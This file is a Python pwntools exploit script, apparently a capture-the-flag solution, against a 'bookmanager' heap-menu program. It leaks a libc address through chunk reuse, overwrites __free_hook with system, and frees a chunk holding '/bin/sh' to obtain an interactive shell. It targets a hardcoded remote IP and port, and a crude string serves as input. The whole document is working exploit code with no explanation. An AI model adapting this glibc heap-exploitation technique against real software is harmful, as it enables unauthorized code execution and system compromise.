1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| #!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("bookmanager") sh = 0 lib = 0 def createName(name): sh.recvuntil(":") sh.send(name) def addChapter(name): sh.recvuntil("choice:") sh.sendline("1") sh.recvuntil(":") sh.send(name) def addSection(name,content): sh.recvuntil("choice:") sh.sendline("2") sh.recvuntil(":") sh.send(name) sh.recvuntil("0x") data = int(sh.recvuntil("\n",True),16) sh.send(content) return data def addText(s,size,name): sh.recvuntil("choice:") sh.sendline("3") sh.recvuntil(":") sh.send(s) sh.recvuntil(":") sh.sendline(str(size)) sh.recvuntil(":") sh.send(name) return name def freeChapter(name): sh.recvuntil("choice:") sh.sendline("4") sh.recvuntil(":") sh.send(name) def freeSection(name): sh.recvuntil("choice:") sh.sendline("5") sh.recvuntil(":") sh.send(name) def freeText(name): sh.recvuntil("choice:") sh.sendline("6") sh.recvuntil(":") sh.send(name) def show(): sh.recvuntil("choice:") sh.send("7") def edit(s,name,content): type_list = ['Chapter','Section','Text'] sh.recvuntil("choice:") sh.sendline("8") sh.recvuntil(":") sh.sendline(type_list[s]) sh.recvuntil(":") sh.send(name) sh.recvuntil(":") sh.send(content) def pwn(ip,port,debug): global sh global lib if(debug == 1): sh = process("./bookmanager") lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: sh = remote(ip,port) lib = ELF("libc-2.23.so") createName("fuckyou") addChapter("\x11" * 0x10) addSection('\x11' * 0x10,'\x12' * 0x10) addText("\x12" * 0x10,0x68,'\x13' * 0x18) addChapter('\x21' * 0x10) addSection("\x21" * 0x10,'\x22' * 0x10) addText('\x22' * 0x10,0x18,'\x23' * 0x18) freeText('\x22' * 0x10) addText('\x22' * 0x10,0x68,'\x24' * 0x10) freeChapter('\x21' * 0x10) freeSection('\x22' * 0x10) freeText('\x12' * 0x10) payload = '\x14' * 0x68 payload += '\x14' * 8 addText('\x12' * 0x10,0x68,payload) show() sh.recvuntil(payload) main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 88 libc = main_arena - 0x10 - lib.symbols['__malloc_hook'] system = libc + lib.symbols['system'] __free_hook = libc + lib.symbols['__free_hook'] payload = '\x14' * 0x68 payload += p64(0x91) payload += p64(main_arena + 88) + p64(__free_hook - 0x40 - 0x10) payload += '\x00' * 0x70 payload += p64(0x90) payload += p64(0x40) edit(2,'\x12' * 0x10,payload) addChapter('\x21' * 0x10) addSection("\x21" * 0x10,'/bin/sh\x00')
addText("\x12" * 0x10,0x18,'\x25' * 0x10) payload = '\x25' * 0x18 + p64(0x71) + p64(__free_hook - 0x43) * 2 payload += p64(0) * 10 + p64(0) + p64(0x20cd1) edit(2,'\x12' * 0x10,payload) addText("\x12" * 0x10,0x68,'\x16' * 0x68) payload = '\x00' *3 payload += p64(0) * 6 + p64(system) addText("\x12" * 0x10,0x68,"\n") edit(2,'\x12' * 0x10,payload) freeSection('/bin/sh\x00') #addText("\x12" * 0x10,0x68,'\x15' * 0x10) log.success("system: " + hex(system)) log.success("libc: " + hex(libc)) log.success("main_arena: " + hex(main_arena)) #x/50gx (long long)(&__free_hook) - 0x60 #gdb.attach(sh) sh.interactive() if __name__ == "__main__": pwn("47.112.115.30",13337,0)
|